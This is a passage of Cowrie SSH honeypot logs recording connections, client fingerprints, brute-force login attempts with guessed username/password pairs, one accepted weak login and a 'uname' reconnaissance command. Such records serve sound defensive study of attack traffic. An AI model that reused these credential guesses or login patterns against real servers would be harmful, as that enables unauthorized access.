-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:20.682907Z","src_ip":"103.75.199.4","session":"2678895a7950","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:20.958963Z","src_ip":"103.75.199.4","session":"2678895a7950","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:21.195755Z","src_ip":"103.75.199.4","session":"2678895a7950","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:21.199071Z","src_ip":"103.75.199.4","session":"2678895a7950","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:21.294486Z","src_ip":"103.75.199.4","session":"2678895a7950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:21.299231Z","src_ip":"103.75.199.4","session":"2678895a7950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":46896,"dst_ip":"10.17.0.5","dst_port":22,"session":"e02cf54642ab","protocol":"ssh","message":"New connection: 80.94.92.182:46896 (10.17.0.5:22) [session: e02cf54642ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:37.360602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:37.419970Z","src_ip":"80.94.92.182","session":"e02cf54642ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:37.508576Z","src_ip":"80.94.92.182","session":"e02cf54642ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":41516,"dst_ip":"159.203.135.109","dst_port":22,"session":"36a0d1522aa3","protocol":"ssh","message":"New connection: 80.94.92.171:41516 (159.203.135.109:22) [session: 36a0d1522aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:38.301817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:38.389139Z","src_ip":"80.94.92.171","session":"36a0d1522aa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:38.487860Z","src_ip":"80.94.92.171","session":"36a0d1522aa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"qwer1234","message":"login attempt [solana/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:38.824139Z","src_ip":"80.94.92.182","session":"e02cf54642ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:39.076672Z","src_ip":"80.94.92.171","session":"36a0d1522aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:40.091206Z","src_ip":"80.94.92.182","session":"e02cf54642ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:40.339996Z","src_ip":"80.94.92.171","session":"36a0d1522aa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36450,"dst_ip":"159.203.135.109","dst_port":22,"session":"1106701919b6","protocol":"ssh","message":"New connection: 103.75.199.4:36450 (159.203.135.109:22) [session: 1106701919b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:42.433555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:42.438277Z","src_ip":"103.75.199.4","session":"1106701919b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:42.533621Z","src_ip":"103.75.199.4","session":"1106701919b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:42.820188Z","src_ip":"103.75.199.4","session":"1106701919b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:43.918214Z","src_ip":"103.75.199.4","session":"1106701919b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":40256,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c6ac8c901f6","protocol":"ssh","message":"New connection: 154.83.196.237:40256 (159.203.135.109:22) [session: 1c6ac8c901f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:51.522994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:51.527339Z","src_ip":"154.83.196.237","session":"1c6ac8c901f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:51.649017Z","src_ip":"154.83.196.237","session":"1c6ac8c901f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:52.170758Z","src_ip":"154.83.196.237","session":"1c6ac8c901f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":49154,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cd35221d7e8","protocol":"ssh","message":"New connection: 78.40.37.143:49154 (10.17.0.5:22) [session: 5cd35221d7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:52.724186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:52.729738Z","src_ip":"78.40.37.143","session":"5cd35221d7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:52.809612Z","src_ip":"78.40.37.143","session":"5cd35221d7e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456789","message":"login attempt [root/Ab123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:53.162474Z","src_ip":"78.40.37.143","session":"5cd35221d7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:53.294436Z","src_ip":"154.83.196.237","session":"1c6ac8c901f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:54.244752Z","src_ip":"78.40.37.143","session":"5cd35221d7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45162,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc6a8937a00f","protocol":"ssh","message":"New connection: 103.75.199.4:45162 (159.203.135.109:22) [session: dc6a8937a00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:04.312921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:04.318247Z","src_ip":"103.75.199.4","session":"dc6a8937a00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:04.410322Z","src_ip":"103.75.199.4","session":"dc6a8937a00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:04.814141Z","src_ip":"103.75.199.4","session":"dc6a8937a00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:05.910156Z","src_ip":"103.75.199.4","session":"dc6a8937a00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":39872,"dst_ip":"10.17.0.5","dst_port":22,"session":"63506ca9954c","protocol":"ssh","message":"New connection: 94.154.34.232:39872 (10.17.0.5:22) [session: 63506ca9954c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:20.989890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:20.994662Z","src_ip":"94.154.34.232","session":"63506ca9954c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:21.117888Z","src_ip":"94.154.34.232","session":"63506ca9954c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"warnight","password":"warnight","message":"login attempt [warnight/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:21.634290Z","src_ip":"94.154.34.232","session":"63506ca9954c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:22.758136Z","src_ip":"94.154.34.232","session":"63506ca9954c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50560,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab6868cdd63d","protocol":"ssh","message":"New connection: 103.75.199.4:50560 (159.203.135.109:22) [session: ab6868cdd63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:26.198683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:26.206572Z","src_ip":"103.75.199.4","session":"ab6868cdd63d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:26.298722Z","src_ip":"103.75.199.4","session":"ab6868cdd63d","protocol":"ssh"}
